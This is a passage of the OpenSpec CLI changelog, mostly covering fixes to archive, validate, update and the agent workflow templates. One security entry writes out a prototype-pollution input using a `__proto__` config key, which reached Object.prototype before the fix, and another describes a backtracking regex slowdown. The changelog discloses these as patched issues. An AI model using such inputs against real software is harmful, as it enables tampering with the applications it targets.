is now validated against the union of artifact IDs across every available schema, so multi-schema projects stop seeing spurious warnings on every command ([#1322](https://github.com/Fission-AI/OpenSpec/issues/1322)). + +- [#1401](https://github.com/Fission-AI/OpenSpec/pull/1401) [`b33b15d`](https://github.com/Fission-AI/OpenSpec/commit/b33b15d98ae929624c991632c7382ebc234d4ca7) Thanks [@clay-good](https://github.com/clay-good)! - Stop `design.md` from restating the proposal. In the default `spec-driven` schema, the design instruction asked for "Background, current state, constraints, stakeholders" and "What this design achieves and excludes" without saying that motivation and scope already live in `proposal.md`, so agents restated the proposal's Why and What Changes instead of adding the design's own value - approach, alternatives, and trade-offs. The instruction and the design template now state the boundary explicitly (the proposal covers why and what, design covers how) and tell the agent to reference those documents rather than repeat them ([#1382](https://github.com/Fission-AI/OpenSpec/issues/1382)). + +- [#1167](https://github.com/Fission-AI/OpenSpec/pull/1167) [`1637856`](https://github.com/Fission-AI/OpenSpec/commit/1637856c423f2e84457652d1ab58885fe9744fb2) Thanks [@mehdishahdoost](https://github.com/mehdishahdoost)! - **Windsurf is now Devin Desktop.** Windsurf was rebranded on June 2, 2026 and its config directory moved: `.devin/` is the preferred read + write location, `.windsurf/` a legacy read-only fallback that the Devin Local agent does not read at all. OpenSpec follows the rename rather than carrying two ids for one product — the tool id is `devin`, writing `.devin/workflows/opsx-.md` and `.devin/skills/openspec-*/SKILL.md`, and it is detected from either directory. + + - `--tools windsurf` still resolves, so existing setup scripts keep working; it now configures `.devin/`. + - If your OpenSpec files are still in `.windsurf/`, `openspec update` explains the rebrand and offers to move them. `--force` and non-interactive runs take the move; declining leaves every file exactly where it is. Only the files OpenSpec generates move — each skill's `SKILL.md` and commands named `opsx-*`. A hand-written Cascade workflow, a reference file you keep beside a `SKILL.md`, a command file you edited, and `.devin/rules/` all stay exactly where they are. + - Devin skills and the getting-started hint reference `/openspec-*` skills rather than `/opsx-*` workflows, because only Devin Desktop reads workflows; the `/openspec-*` form works on both agents. Workflow bodies still use `/opsx-`, the name Devin registers for a workflow file. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - `openspec doctor` now notes when a store checkout is behind its upstream ref. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Make the archive scenario-drift check multiplicity-aware: a MODIFIED block that keeps only one of two same-named scenarios no longer silently drops the other. + +- [#1408](https://github.com/Fission-AI/OpenSpec/pull/1408) [`378d468`](https://github.com/Fission-AI/OpenSpec/commit/378d468ad348dc1e973ed30c5cfa458fb77c9de3) Thanks [@clay-good](https://github.com/clay-good)! - Explore now reads the project's context and rules from `openspec/config.yaml` (or `config.yml`) at the start of a session, so it reasons with the same tech stack and conventions the artifact-creating workflows already receive. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - `openspec feedback` shows the formatted text and a pre-filled submission URL on any gh failure (issues disabled, network, rate limit), not only when gh is missing or unauthenticated. + +- [#1396](https://github.com/Fission-AI/OpenSpec/pull/1396) [`60f720c`](https://github.com/Fission-AI/OpenSpec/commit/60f720c43acd94de7645ac8629c614ede4682b6a) Thanks [@clay-good](https://github.com/clay-good)! - Fix `openspec feedback` failing when the repository does not define the `feedback` label. The command now retries without the label and notes that it was not applied, instead of exiting with an error and discarding the feedback. + +- [#1151](https://github.com/Fission-AI/OpenSpec/pull/1151) [`18cbf5d`](https://github.com/Fission-AI/OpenSpec/commit/18cbf5d32ffe1bff4fff692e24568c605cf1e0fa) Thanks [@javigomez](https://github.com/javigomez)! - ### Fixed + + - Ignore Markdown structure (requirement headers, delta sections, scenarios, REMOVED/RENAMED entries) that appears inside fenced code blocks when parsing delta specs. Previously a fenced `### Requirement:` example was parsed as a real (phantom) requirement, producing spurious `validate` errors and risking incorrect `archive` output. Fenced-code detection is now shared across the Markdown parsers so `validate` and `archive` behave consistently. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - The archive scenario-drift check now ignores `#### Scenario:` lines inside fenced code blocks, matching validate: a fenced example no longer false-aborts an archive, and a fenced name no longer masks a genuinely dropped scenario. + +- [#1316](https://github.com/Fission-AI/OpenSpec/pull/1316) [`9b70481`](https://github.com/Fission-AI/OpenSpec/commit/9b70481df727ab9f7a00dd0118e4e09373a36fb9) Thanks [@mc856](https://github.com/mc856)! - ### Bug Fixes + + - **`archive` no longer stacks a second date prefix** — archiving a change whose name already starts with a `YYYY-MM-DD-` prefix (a common authoring convention) keeps the name as-is instead of prepending today's date. Previously `openspec archive 2026-07-04-voice-copilot-v1 --yes` produced `2026-07-06-2026-07-04-voice-copilot-v1`, and when run on a later day the folder sorted under a day on which the change did not happen. Names without a full date prefix (including partial dates like `2026-07-feature`) are dated as before, and the naming is now idempotent. + +- [#1374](https://github.com/Fission-AI/OpenSpec/pull/1374) [`da3907b`](https://github.com/Fission-AI/OpenSpec/commit/da3907b8a9170711c8b7f63e18352e8577cf7df5) Thanks [@clay-good](https://github.com/clay-good)! - fix(completion): make the PowerShell completion script parse and load again + + The generated `OpenSpecCompletion.ps1` contained 18 empty `switch ($positionalIndex) { }` blocks — emitted for commands whose positionals are all `path`-typed (PowerShell completes paths natively, so those cases produce no clauses). A switch with no clauses is a PowerShell parse error ("Missing condition in switch statement clause"), and PowerShell parses the whole file before running it, so the script never loaded and completions never registered. The generator now skips the positional-index block entirely when no positional produces completions, so the script parses clean (18 → 0 errors) and tab completion works. + +- [#1388](https://github.com/Fission-AI/OpenSpec/pull/1388) [`9b5d2cd`](https://github.com/Fission-AI/OpenSpec/commit/9b5d2cdd0c1aa4b1b49da4f95c6cec8d7d38b155) Thanks [@mc856](https://github.com/mc856)! - ### Bug Fixes + + - **Archive workflow templates no longer teach agents to stack a second date prefix** — the `openspec-archive-change` and `openspec-bulk-archive-change` skill/command templates (and the onboarding walkthrough's archived-path example) now mirror the `openspec archive` rule: a change whose name already starts with a `YYYY-MM-DD-` prefix is archived under its own name, while other names get the current date prepended as before. Previously an agent following the workflow instructions on a change named `2026-07-04-voice-copilot-v1` produced `archive/2026-07-07-2026-07-04-voice-copilot-v1`, whatever the CLI did. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Gemini command files escape TOML-active characters (quotes, backslashes, control characters) in the description and prompt, so a template value containing them can no longer produce an invalid `.toml` file. + +- [#1464](https://github.com/Fission-AI/OpenSpec/pull/1464) [`5bcf057`](https://github.com/Fission-AI/OpenSpec/commit/5bcf05766a70ec0163c3e700a3029b1c1da895d8) Thanks [@clay-good](https://github.com/clay-good)! - Workflow skills and commands no longer tell agents to use the Claude Code-only AskUserQuestion tool. The same templates are generated for every supported tool, and agents without that tool (OpenCode, Factory Droid, Codex, and others) errored or stalled on the instruction. The guidance is now runtime-neutral: agents are simply told to ask the user. + +- [#1403](https://github.com/Fission-AI/OpenSpec/pull/1403) [`2d6c447`](https://github.com/Fission-AI/OpenSpec/commit/2d6c447100c51fb1e5f65c6f6a35ce02a3196a10) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes + + - **Propose and fast-forward skills no longer name the Claude-only TodoWrite tool** — the generated `openspec-propose` and `openspec-ff-change` skills (and their `/opsx:propose` / `/opsx:ff` commands) told every agent to "Use the **TodoWrite tool**", which only exists in Claude Code. Codex, Cursor, Gemini, Copilot, and the other supported tools have no such tool, so agents either errored or stalled looking for it. The instruction is now runtime-neutral ("Use a todo list to track progress"), which works everywhere — including Claude Code. + +- [#1415](https://github.com/Fission-AI/OpenSpec/pull/1415) [`e2f748c`](https://github.com/Fission-AI/OpenSpec/commit/e2f748c64f05efaeac720f83c71fb6f1b6f6e18d) Thanks [@clay-good](https://github.com/clay-good)! - Reject config key paths that reach the prototype chain, and update the bundled `yaml` dependency. + + `openspec config set --allow-unknown __proto__.polluted ` reported success and assigned onto `Object.prototype` for the rest of the process. `--allow-unknown` was meant to relax the known-key check only, but it skipped every key check, so `__proto__`, `constructor`, and `prototype` segments reached the nested-write helper. Those segments are now rejected in `config set` whether or not `--allow-unknown` is passed, and `setNestedValue` / `deleteNestedValue` refuse them regardless of caller. Ordinary keys such as `featureFlags.myFlag` behave exactly as before. + + The `yaml` runtime dependency moves from 2.8.2 to 2.9.0, picking up the fix for a stack overflow on deeply nested input (GHSA / advisory patched in 2.8.3). + +- [#1376](https://github.com/Fission-AI/OpenSpec/pull/1376) [`7958924`](https://github.com/Fission-AI/OpenSpec/commit/7958924e95654af981437951e967983385da8001) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes + + - **Archive after early sync** — `openspec archive` no longer fails with `ADDED failed … already exists` when a change's specs were already synced to the main specs before archiving (the early-sync pattern from the `sync` workflow). If an ADDED requirement already exists in the target spec with identical content, applying it is treated as a no-op; a same-named requirement with different content still aborts the archive as a genuine conflict ([#1332](https://github.com/Fission-AI/OpenSpec/issues/1332)). + +- [#1386](https://github.com/Fission-AI/OpenSpec/pull/1386) [`b419e96`](https://github.com/Fission-AI/OpenSpec/commit/b419e965bbf413cc658bbac37325ebc147b1c869) Thanks [@mc856](https://github.com/mc856)! - ### Bug Fixes + + - **Archive after early sync (RENAMED)** — `openspec archive` no longer fails with `RENAMED failed … source not found` when a change's renames were already synced to the main specs before archiving (the early-sync pattern from the `sync` workflow). If a RENAMED requirement's source header is gone but the target header exists in the spec, applying the rename is treated as a no-op; a rename whose source and target are both missing still aborts the archive as a genuine error, and reported counts reflect only renames actually applied. + +- [#1462](https://github.com/Fission-AI/OpenSpec/pull/1462) [`ebf66c7`](https://github.com/Fission-AI/OpenSpec/commit/ebf66c7ee1df3f7465d7f480753f952483133a73) Thanks [@clay-good](https://github.com/clay-good)! - Respect reduced-motion preferences in `openspec init`: the welcome animation is skipped when the OS reduced-motion setting is on (macOS Reduce Motion, GNOME animations disabled), when `OPENSPEC_NO_ANIMATION` is set, or when the new `--no-animation` flag is passed. The static welcome screen is shown instead. + +- [#1405](https://github.com/Fission-AI/OpenSpec/pull/1405) [`5dfef4b`](https://github.com/Fission-AI/OpenSpec/commit/5dfef4b00c233fbe78f40488bd4ff98f4204684c) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes + + - **Custom schema instructions are no longer overridden by hard-coded spec-driven patterns** — the `openspec-continue-change` skill/command embedded one-line "common artifact patterns" for proposal.md, specs, design.md, and tasks.md, so agents followed those shortcuts instead of the schema's `instruction` field whenever a custom schema reused familiar artifact names. The templates now state that the `instruction` field is the authoritative guidance, and the `propose`, `continue`, and `ff` workflows direct the agent — both in the artifact-creation step and in the guidelines — to invoke a skill when the instruction delegates artifact creation to one, verifying the artifact exists afterward (fixes [#777](https://github.com/Fission-AI/OpenSpec/issues/777)). + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Follow the Kimi CLI rename to Kimi Code: new install paths with automatic migration of existing `.kimi` setups. + +- [#1415](https://github.com/Fission-AI/OpenSpec/pull/1415) [`e2f748c`](https://github.com/Fission-AI/OpenSpec/commit/e2f748c64f05efaeac720f83c71fb6f1b6f6e18d) Thanks [@clay-good](https://github.com/clay-good)! - Parse spec headings in linear time when the title is padded with whitespace. + + Building the reference index read the first Purpose line with a regex that backtracked quadratically on a heading full of spaces: 10,000 characters of padding took 60ms, and 100,000 would have taken roughly six seconds. The heading scan is now hand-rolled and linear. Behavior is unchanged — the replacement was checked against the old implementation across 303,000 generated inputs, including CommonMark closing sequences (`## Purpose ##`), seven-hash lines, and headings with no space after the hashes. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Use local dates for CLI date-only values (archive names, timestamps) instead of UTC, so late-evening archives no longer get tomorrow's date. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - `openspec update` warns when a custom profile is missing core workflows instead of silently generating a partial install. + +- [#1428](https://github.com/Fission-AI/OpenSpec/pull/1428) [`81d5109`](https://github.com/Fission-AI/OpenSpec/commit/81d5109b86f16537deb99f84a772a83235dc9e09) Thanks [@taltas](https://github.com/taltas)! - Update current Roo Code product references to its community successor, Zoo Code. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Archive treats a MODIFIED delta whose content already matches the main spec as a no-op: a fully early-synced change now reports "Specs already in sync" instead of rewriting the file and claiming modifications. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Render multi-select prompts with `[x]`/`[ ]` checkbox markers instead of radio-button icons. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Discover nested spec paths like `specs///spec.md` recursively and consistently across parse, apply, and archive. + +- [#1410](https://github.com/Fission-AI/OpenSpec/pull/1410) [`b3b05e1`](https://github.com/Fission-AI/OpenSpec/commit/b3b05e1abeb312caefd57e60be799aeb466c1d0e) Thanks [@clay-good](https://github.com/clay-good)! - Only advertise onboarding commands that will actually exist. The `openspec init` welcome screen and the `openspec update` "Getting started" summary listed `/opsx:new` and `/opsx:continue`, which the default `core` profile never generates, so users were told to run commands that did not exist. Both surfaces now list the commands for the installed workflows. The `init` and `update` completion hints also name the skill (`/openspec-propose`) instead of a command for tools that receive no command files — Codex, and any tool under skills-only delivery. + +- [#1412](https://github.com/Fission-AI/OpenSpec/pull/1412) [`1dc670d`](https://github.com/Fission-AI/OpenSpec/commit/1dc670deea741b8313b8a22fb975741f84677b3f) Thanks [@clay-good](https://github.com/clay-good)! - ### Fixed + + - **`/opsx:propose` and `/opsx:ff` no longer finish a change with no spec written.** The workflows listed only `proposal`/`design`/`tasks` and treated the apply phase's `tasks` artifact as the stop condition — but `status` marks an artifact `done` as soon as a matching file exists, so writing `tasks.md` early satisfied the loop while `specs//spec.md` was never created (a spec-less change in a spec-driven tool). The loop now derives the full required set — every apply dependency plus everything it transitively `requires` — from a single `status` call, creates each missing artifact, and only skips one when its own `instruction` field marks it conditional. ([#1260](https://github.com/Fission-AI/OpenSpec/issues/1260), [#788](https://github.com/Fission-AI/OpenSpec/issues/788)) + + ### Changed + + - **`openspec status --json` now reports each artifact's `requires` edges.** Every entry in the `artifacts` array carries a `requires` array of the ids it directly depends on, present for every status (including `done`) so agents can compute the transitive required set from `status` alone. Additive and backward-compatible — existing fields are unchanged. + +- [#1191](https://github.com/Fission-AI/OpenSpec/pull/1191) [`7704702`](https://github.com/Fission-AI/OpenSpec/commit/7704702d61fa71e4f553c21a06bdf8e4ee803b4a) Thanks [@mc856](https://github.com/mc856)! - Generate Markdown commands for Qwen Code instead of deprecated TOML format. Qwen Code now recommends Markdown custom commands with YAML frontmatter; the old `.qwen/commands/opsx-*.toml` files are cleaned up as legacy artifacts on update. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - An already-synced RENAMED delta aborts when a case/whitespace variant of the source requirement still exists — the same typo guard REMOVED deltas have. + +- [#1368](https://github.com/Fission-AI/OpenSpec/pull/1368) [`de78c31`](https://github.com/Fission-AI/OpenSpec/commit/de78c31ffd885a0558ae55d332f74d5485dc01c0) Thanks [@clay-good](https://github.com/clay-good)! - ### Fixes + + - **Regenerated artifacts now pick up your manual edits** — the continue, propose, and fast-forward workflows (and the `openspec instructions` dependency block) now tell the agent to re-read dependency artifacts from disk before creating the next one, instead of trusting whatever version it saw earlier in the conversation. Previously, editing `spec.md` and deleting `design.md`/`tasks.md` to regenerate them could silently produce artifacts based on the stale, pre-edit content. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Proposal guidance now resolves blocking open questions with the user instead of deferring them to design.md. + +- [#1392](https://github.com/Fission-AI/OpenSpec/pull/1392) [`a13abea`](https://github.com/Fission-AI/OpenSpec/commit/a13abeac47d419462b0193dbf9423dd466ffe6c7) Thanks [@clay-good](https://github.com/clay-good)! - ### Fixed + + - Stop a delta spec written directly at a change's `specs/` root from being silently dropped. `validate` accepted `specs/spec.md` and counted its deltas, but the apply/archive merge only reads capability folders (`specs//spec.md`), so the change could pass validation and be archived while its requirements never reached `openspec/specs/`. `validate` now uses the same discovery rules as the merge path and reports the misplaced file with a fix hint, and `archive` blocks instead of completing. + +- [#1465](https://github.com/Fission-AI/OpenSpec/pull/1465) [`f917b8b`](https://github.com/Fission-AI/OpenSpec/commit/f917b8be5e1100189ef62320ba9322763053640e) Thanks [@clay-good](https://github.com/clay-good)! - Order artifacts by the schema's declaration order instead of alphabetically. + + `specs` and `design` both require only `proposal`, so both become ready at once - and the tie used to be broken alphabetically, which put `design` first. `openspec status` listed design above specs and `nextSteps` recommended writing `design.md` before any spec existed, contradicting the spec-driven schema's own documented `proposal → specs → design → tasks` sequence. + + Ties now follow the order the schema declares its artifacts, so `openspec status`, `status --json`, `nextSteps`, `blocked by:` lists, and an artifact's `unlocks` all agree. No dependency edges changed, so nothing newly blocks and `design.md` stays optional - only the order of equally-ready artifacts moved. Custom schemas get the same guarantee: dependency order still comes first, but wherever your schema leaves two artifacts equally ready, the order of its `artifacts:` list now decides which one the CLI recommends - so reorder that list if it was never deliberate. + +- [#1446](https://github.com/Fission-AI/OpenSpec/pull/1446) [`5348da9`](https://github.com/Fission-AI/OpenSpec/commit/5348da930c4038ffd5b5a521702b71315dcd0019) Thanks [@showms](https://github.com/showms)! - ### Bug Fixes + + - Preserve an existing project-local schema when `openspec schema init --force` rejects an unknown artifact ID. Forced replacement now begins only after artifact validation succeeds. + +- [#1433](https://github.com/Fission-AI/OpenSpec/pull/1433) [`26f009d`](https://github.com/Fission-AI/OpenSpec/commit/26f009d940f311b99db7f310816bb166a99fb3ef) Thanks [@clay-good](https://github.com/clay-good)! - Change lookup no longer requires `proposal.md`. `openspec show`, `openspec change list/show/validate`, and shell completion now resolve a change by its directory, matching `openspec list`, `status`, `instructions`, and `validate`. + + Previously a change created by `openspec new change` — which scaffolds only `.openspec.yaml` — was reported as `Unknown item` by `openspec show` and was missing from completions and `openspec change list` until a proposal was written, and a change from a schema with no proposal artifact was never resolvable. `openspec change list` now reports the same set as `openspec list`, keeps task counts for a change that has no proposal yet, and labels it `(no proposal.md yet)` rather than `(unable to read)`. Showing such a change explains that the proposal is not written yet and points at `openspec status --change `. + +- [#1468](https://github.com/Fission-AI/OpenSpec/pull/1468) [`fc886af`](https://github.com/Fission-AI/OpenSpec/commit/fc886af7f93068482bbf2c66fd1eb76b40c6a22f) Thanks [@clay-good](https://github.com/clay-good)! - The continue, update, verify, sync, and archive workflow skills now select a change the same way apply does: use the provided name, infer it from conversation context, auto-select when exactly one active change exists, and only prompt when the choice is genuinely ambiguous. Previously these workflows were told to always prompt ("Do NOT guess or auto-select"), so invoking them with a single active change stalled on a question with only one possible answer. The selection is always announced ("Using change: ") with how to override, and bulk archive still always prompts. + +- [#1194](https://github.com/Fission-AI/OpenSpec/pull/1194) [`b7c85c7`](https://github.com/Fission-AI/OpenSpec/commit/b7c85c741ca56748a4ae095b573fe4550c5c977f) Thanks [@mc856](https://github.com/mc856)! - Fix skills-only delivery emitting `/opsx:*` command references. SKILL.md files generated by init, update, and workspace skill setup now reference the corresponding skills (e.g. `/openspec-apply-change`) when `delivery: 'skills'` is configured, instead of commands that were never generated. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Specs instructions include the spec content guidance from the concepts docs, so generated specs follow the requirement/scenario format. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - The static welcome screen (reduced motion, `--no-animation`, narrow terminals) now waits for the Enter it asks for instead of letting the keystroke submit the tool picker unseen. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Sync and archive workflows resolve main specs through the store-aware root instead of assuming `openspec/specs` in the repo. + +- [#1402](https://github.com/Fission-AI/OpenSpec/pull/1402) [`0da5f98`](https://github.com/Fission-AI/OpenSpec/commit/0da5f98e147543a44379e32295e2e9798d775d83) Thanks [@clay-good](https://github.com/clay-good)! - Show the main spec format in the sync-specs skill so agents stop leaving delta operation headers (`## ADDED/MODIFIED Requirements`) in `openspec/specs/` — merged main specs with those headers parse as 0 requirements in `openspec view` ([#1120](https://github.com/Fission-AI/OpenSpec/issues/1120)). + +- [#1476](https://github.com/Fission-AI/OpenSpec/pull/1476) [`8731290`](https://github.com/Fission-AI/OpenSpec/commit/87312900f532c6c13ea556d4badaff2efdfa9602) Thanks [@clay-good](https://github.com/clay-good)! - Telemetry no longer depends on `posthog-node`: the single usage event is sent with a plain fetch to the same endpoint. Installing OpenSpec no longer pulls the fast-publishing `posthog-node`/`@posthog/core`/`@posthog/types` tree, which broke downstream installs under supply-chain age policies like pnpm's `minimumReleaseAge` ([#1390](https://github.com/Fission-AI/OpenSpec/issues/1390)). + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - The stale-CLI check hardens its install detection: a directory merely named `volta` no longer changes the upgrade hint, the Windows npm-ownership check corroborates against the `openspec.cmd` shim npm actually writes, and a registry redirect from https to plain http is no longer followed. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - The stale-CLI check tears down a redirected registry connection when its time budget expires instead of leaving the socket open. + +- [#1442](https://github.com/Fission-AI/OpenSpec/pull/1442) [`10fa39b`](https://github.com/Fission-AI/OpenSpec/commit/10fa39b1c3a3e88c02ae7d3053864c03a793ff47) Thanks [@hsusul](https://github.com/hsusul)! - `openspec update` now refreshes tools that are configured with command files but no skills (delivery `commands`). Previously it read the generating version only from skill files, so such a tool was reported as "up to date" forever and its command files were never regenerated after a CLI upgrade. Command files carry no version stamp, so OpenSpec compares their contents against what it would generate now — including removing a command file left behind by a workflow you have since deselected. CRLF line endings and a UTF-8 BOM are treated as checkout artifacts rather than drift, so a Windows clone does not report a spurious update. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - `openspec update` with `delivery: commands` prints the same configuration correction as init when it removes the skills of a tool that supports only skills, instead of deleting them silently. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - `openspec validate` reports an unreadable specs/ directory as the error it is instead of misdiagnosing it as "no deltas found". + +- [#1455](https://github.com/Fission-AI/OpenSpec/pull/1455) [`6b3623a`](https://github.com/Fission-AI/OpenSpec/commit/6b3623a39e96f49995d38d642738b31f68e92039) Thanks [@c4patino](https://github.com/c4patino)! - `openspec view` now resolves the configured OpenSpec root instead of always reading the current directory, and accepts `--store ` like its sibling commands. Projects whose `openspec/config.yaml` points at an external store saw an empty dashboard — 0 specs, 0 requirements — while `openspec list` read the same store correctly. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Preserve keyboard input on Windows after the welcome screen instead of dropping the first keystrokes. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - zsh completion install honors `$ZSH` and `$ZSH_CUSTOM`, so Oh My Zsh setups at custom locations get the completion where their shell actually loads it. + +## 1.6.0 + +### Minor Changes + +- [#1090](https://github.com/Fission-AI/OpenSpec/pull/1090) [`3f0ca3f`](https://github.com/Fission-AI/OpenSpec/commit/3f0ca3f6ce6f2ec41260c5cbe7954b7e46adcf43) Thanks [@jjxyxsjr](https://github.com/jjxyxsjr)! - ### New Features + + - **TRAE command adapter** — Added command adapter for Trae IDE, enabling generation of `.trae/commands/opsx-.md` files for custom slash commands + +- [#1340](https://github.com/Fission-AI/OpenSpec/pull/1340) [`1552731`](https://github.com/Fission-AI/OpenSpec/commit/15527310f9be13cc9a4035ea01b93ba85873d956) Thanks [@TabishB](https://github.com/TabishB)! - ### New Features + + - **Oh My Pi support** — Generate native OPSX commands and skills for Oh My Pi projects, including tool detection and the expected `.omp` directory layout. + - **Update planning artifacts in place** — Use `/opsx:update` to revise an existing change's planning artifacts, reconcile related artifacts, and keep implementation work delegated to `/opsx:apply`. + + ### Bug Fixes + + - **Fresh store registration** — Register and use newly created stores before their empty changes, specs, or archive directories have been committed. + - **Safer requirement archiving** — Stop stale `MODIFIED` requirements from silently deleting scenarios that were added by an earlier archive. + +### Patch Changes + +- [#1300](https://github.com/Fission-AI/OpenSpec/pull/1300) [`a5bfeda`](https://github.com/Fission-AI/OpenSpec/commit/a5bfedafc8b3d914fe01d05eb36ad9ad3fbe35a2) Thanks [@clay-good](https://github.com/clay-good)! - ### Features + + - **Auto-approve the OpenSpec CLI in generated skills and commands** — every generated `SKILL.md` (all tools) and every Claude Code `/opsx:*` slash command now carries `allowed-tools: Bash(openspec:*)` in its frontmatter, so agents that honor the Agent Skills standard run `openspec` commands without prompting for approval on each call; tools that don't recognize the field ignore it. Scope is limited to the `openspec` CLI; because `allowed-tools` pre-approves rather than restricts, every other tool a skill or command uses stays available under your normal permission settings. + +- [#1311](https://github.com/Fission-AI/OpenSpec/pull/1311) [`5956a8e`](https://github.com/Fission-AI/OpenSpec/commit/5956a8e872f41a8f690922b5c9b6927970252b2a) Thanks [@danilopopeye](https://github.com/danilopopeye)! - ### Bug Fixes + + - **`archive` exits non-zero when blocked in human mode** — `openspec archive -y` (and any non-`--json` invocation) no longer returns exit code 0 when validation fails and nothing is archived. The three blocking paths in human mode — delta-spec validation failure, spec rebuild failure, and rebuilt-spec validation failure — now set `process.exitCode = 1`, matching the existing `--json` behavior. Previously the command printed "Validation failed" (or "Aborted. No files were changed.") and exited 0, letting scripts and CI believe the archive succeeded. Aligns `archive` with the same exit-code guarantee already approved for `apply` instructions (#1250). + +- [#1280](https://github.com/Fission-AI/OpenSpec/pull/1280) [`a325305`](https://github.com/Fission-AI/OpenSpec/commit/a3253051ea1934fd0d76620addb855dfce801742) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes + + - **`validate` resolves changes like `status`** — `openspec validate ` (and `--all`/`--changes` and the interactive selector) now resolves a change by directory existence, matching `status`/`instructions`, instead of requiring `proposal.md`. A scaffolded or still-authoring change is validated rather than reported as `Unknown item`, and a resolved-but-invalid change now exits non-zero. Delta discovery also recurses the nested `specs///spec.md` layout. (#1182) + - **Task progress reads nested/glob `tasks.md`** — `openspec view`, `list`, and the `archive` incomplete-task gate now resolve task progress through the tracked-tasks artifact's `generates` glob (the same file-resolution `status` uses), so a change whose tasks live in nested `tasks.md` files is classified correctly and can no longer archive while unfinished. (#1202) + - **SHALL/MUST body-keyword hint applies to main specs** — A main-spec requirement whose normative keyword sits only in the `### Requirement:` header now receives the same targeted "move it to the body line" remediation as a change delta, emitted exactly once. (#1156) + +- [#1281](https://github.com/Fission-AI/OpenSpec/pull/1281) [`9a0dfb5`](https://github.com/Fission-AI/OpenSpec/commit/9a0dfb5cd136b423c9f13c0b29ec3ea69761b4e6) 